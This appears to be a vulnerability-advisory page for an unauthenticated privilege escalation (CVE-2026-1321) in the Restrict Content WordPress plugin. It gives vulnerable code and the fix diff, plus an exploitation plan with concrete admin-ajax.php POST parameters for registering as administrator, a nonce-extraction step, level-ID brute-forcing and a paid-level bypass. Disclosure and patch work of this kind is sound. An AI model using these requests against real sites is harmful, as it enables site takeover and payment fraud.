Membership Plugin – Restrict Content <= 3.2.20 - Unauthenticated Privilege Escalation via 'rcp_level'
Description
The Membership Plugin – Restrict Content plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.2.20. This is due to the `rcp_setup_registration_init()` function accepting any membership level ID via the `rcp_level` POST parameter without validating that the level is active or that payment is required. Combined with the `add_user_role()` method which assigns the WordPress role configured on the membership level without status checks, this makes it possible for unauthenticated attackers to register with any membership level, including inactive levels that grant privileged WordPress roles such as Administrator, or paid levels that charge a sign-up fee. The vulnerability was partially patched in version 3.2.18.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=3.2.20What Changed in the Fix
Changes introduced in v3.2.21
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1321 - Unauthenticated Privilege Escalation in Restrict Content ## 1. Vulnerability Summary The **Membership Plugin – Restrict Content** (up to 3.2.20) contains a privilege escalation vulnerability. The registration process, specifically within `rcp_process_re…
Show full research plan
Exploitation Research Plan: CVE-2026-1321 - Unauthenticated Privilege Escalation in Restrict Content
1. Vulnerability Summary
The Membership Plugin – Restrict Content (up to 3.2.20) contains a privilege escalation vulnerability. The registration process, specifically within rcp_process_registration() (located in core/includes/registration-functions.php), retrieves a membership level ID via the rcp_level POST parameter.
The vulnerability exists because the plugin fails to validate:
- Whether the requested membership level is active (publicly available).
- Whether the membership level requires payment before granting the associated WordPress role.
- Whether the membership level is intended for administrative or restricted use only.
By submitting a registration request with a rcp_level ID corresponding to a privileged membership level (e.g., one that assigns the "Administrator" role), an unauthenticated attacker can create a new account with that role.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php(AJAX) or the URL of a page containing the registration shortcode. - Action:
rcp_process_registration(AJAX action). - Vulnerable Parameter:
rcp_level(POST). - Authentication: None required (Unauthenticated).
- Preconditions:
- The site must have a membership level defined that assigns a privileged role (like Administrator).
- The registration form must be accessible (usually via a shortcode).
3. Code Flow
- Entry Point: The user submits the registration form. The request is caught by the
rcp_process_registration()function incore/includes/registration-functions.php. - Nonce Check: The function validates the nonce
rcp_register_nonceusing the actionrcp-register-nonce. - Level Retrieval:
$membership_level = rcp_get_membership_level( rcp_get_registration()->get_membership_level_id() );rcp_get_registration()->get_membership_level_id()reads$_POST['rcp_level']. - Inadequate Validation:
The code does not checkif ( ! $membership_level ) { // Only checks if the level exists in DB // ... error }$membership_level->is_active()or whether it's a paid level being bypassed. - Gateway Bypass:
If the level is "inactive" or "private" but has a price of 0.00 (or if the attacker forces a gateway likefree), the code continues. - Role Assignment (Sink): Later in the registration flow (within
rcp_process_registrationor called helpers), the plugin creates the WordPress user and calls$user->add_role( $membership_level->get_role() ). Sinceget_role()returns whatever role is configured for that level ID, the attacker gains that role.
4. Nonce Acquisition Strategy
The registration form requires a nonce with the action rcp-register-nonce.
- Identify Shortcode: The plugin uses the
[rcp_registration]shortcode (or legacy[register_form]) to render the registration form. - Create Test Page:
wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[rcp_registration]' - Navigate and Extract:
- Navigate to the newly created page using
browser_navigate. - The nonce is typically localized in a global JavaScript object. Based on RCP source patterns, look for
rcp_script_options. - Browser Eval:
browser_eval("rcp_script_options.registration_nonce")or search the HTML source forrcp_register_nonce.
- Navigate to the newly created page using
5. Exploitation Strategy
Step 1: Discover Privileged Level ID
We need to find an ID for a membership level that grants the administrator role. In a real-world scenario, attackers might brute-force IDs (1, 2, 3...). In our test environment, we will create one.
Step 2: Submit Registration Request
Send a POST request to admin-ajax.php.
Request Details:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:rcp_process_registrationrcp_level:[TARGET_LEVEL_ID]rcp_user_login:attacker_adminrcp_user_email:attacker@example.comrcp_user_pass:Password123!rcp_user_pass_confirm:Password123!rcp_register_nonce:[EXTRACTED_NONCE]rcp_gateway:free
6. Test Data Setup
To prove the exploit, we must prepare the environment:
- Create a Privileged Membership Level:
Use PHP via WP-CLI to create a level that is "Inactive" (not shown on forms) but grants "Administrator" privileges.
Note: Note the ID returned by this command.wp eval ' $level = new \RCP\Membership_Level(); $level->set_name("Hidden Admin Level"); $level->set_description("Grant Admin Access"); $level->set_role("administrator"); $level->set_status("inactive"); // Vulnerability: can still be requested via ID $level->set_price(0); $level->save(); echo "ID: " . $level->get_id(); ' - Create Registration Page:
wp post create --post_type=page --post_status=publish --post_content='[rcp_registration]'
7. Expected Results
- The
admin-ajax.phprequest should return a JSON success message:{"success": true, ...}. - A new user
attacker_adminshould be created in the WordPress database. - The user
attacker_adminshould have theadministratorrole.
8. Verification Steps
- Check User Existence:
wp user get attacker_admin - Verify Role:
Expectation: Output should bewp user list --login=attacker_admin --field=rolesadministrator.
9. Alternative Approaches
- Manual POST to Page: If
admin-ajax.phpis restricted, the registration form also processes data when POSTed directly to the page containing the[rcp_registration]shortcode. - Direct Page Submission:
- URL:
http://<target>/register-page/ - Parameters: Same as AJAX, but ensure all standard RCP registration fields are included (First Name, Last Name if required).
- URL:
- Paid Level Bypass: If no "Admin" level exists, try registering for a "Gold/Paid" level (
rcp_level= [Paid_ID]) using thefreegateway to check if it grants the membership without payment.
Summary
The Restrict Content plugin for WordPress is vulnerable to unauthenticated privilege escalation. The registration process fails to validate the status and payment requirements of membership levels passed via the 'rcp_level' parameter, allowing an attacker to register for any level, including hidden or paid levels that assign the Administrator role.
Vulnerable Code
// core/includes/registration-functions.php function rcp_process_registration() { // ... (nonce check) ... $membership_level = rcp_get_membership_level( rcp_get_registration()->get_membership_level_id() ); // Ensure membership level exists and is valid. // Vulnerability: Only checks existence, not status or payment requirements. if ( ! $membership_level ) { rcp_errors()->add( 'invalid_level', __( 'The selected membership level is not available.', 'rcp' ), 'register' ); wp_send_json_error( array( 'success' => false, 'errors' => rcp_get_error_messages_html( 'register' ), 'nonce' => wp_create_nonce( 'rcp-register-nonce' ), ) ); } // ... (calculation of initial amount) ... // Change gateway to "free" if this membership doesn't require payment. // Vulnerability: An attacker can influence $initial_amount via parameters to force the 'free' gateway if ( empty( $initial_amount ) && ! $auto_renew ) { $gateway = 'free'; }
Security Fix
@@ -97,12 +97,33 @@ $user_data = rcp_validate_user_data(); if ( ! rcp_is_registration() ) { - // no membership level was chosen + // No membership level was chosen. rcp_errors()->add( 'no_level', __( 'Please choose a membership level', 'rcp' ), 'register' ); } + /** + * Filters whether or not to allow processing a registration to an inactive membership level. + * + * @since 3.5.53 + * + * @param bool $can_process_registration_to_inactive_levels Whether or not to allow processing a registration to an inactive membership level. Default is true if the registration type is renewal, otherwise false. + * @param RCP\Membership_Level|false $membership_level Membership level object. + * + * @return bool + */ + $can_process_registration_to_inactive_levels = apply_filters( + 'rcp_can_register_to_inactive_membership_levels', + 'renewal' === $registration_type, + $membership_level, + ); + + // If the membership level is inactive and the registration type is not renewal, upgrade, or downgrade, show an error. + if ( ! $can_process_registration_to_inactive_levels && 'active' !== $membership_level->get_status() ) { + rcp_errors()->add( 'inactive_level', __( 'Invalid membership level selected', 'rcp' ), 'register' ); + } + if ( $membership_level->is_free() && ! $membership_level->is_lifetime() && $has_trialed ) { - // this ensures that users only sign up for a free trial once + // This ensures that users only sign up for a free trial once. rcp_errors()->add( 'free_trial_used', __( 'You may only sign up for a free trial once', 'rcp' ), 'register' ); }
Exploit Outline
1. Identify a target Membership Level ID that is configured to assign a privileged WordPress role (e.g., Administrator). This can be done by brute-forcing IDs or finding an inactive/internal level. 2. Access any page on the target site containing the registration form (shortcode [rcp_registration]) and extract the registration nonce (rcp-register-nonce) from the HTML source or global JavaScript objects. 3. Construct a POST request to `/wp-admin/admin-ajax.php` with the action `rcp_process_registration`. 4. In the request body, provide the target `rcp_level` ID, a new username/email/password, the extracted nonce, and set the `rcp_gateway` parameter to `free`. 5. Upon successful request, the plugin will create a new WordPress user with the elevated role associated with the membership level, completely bypassing status checks and payment gateways.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.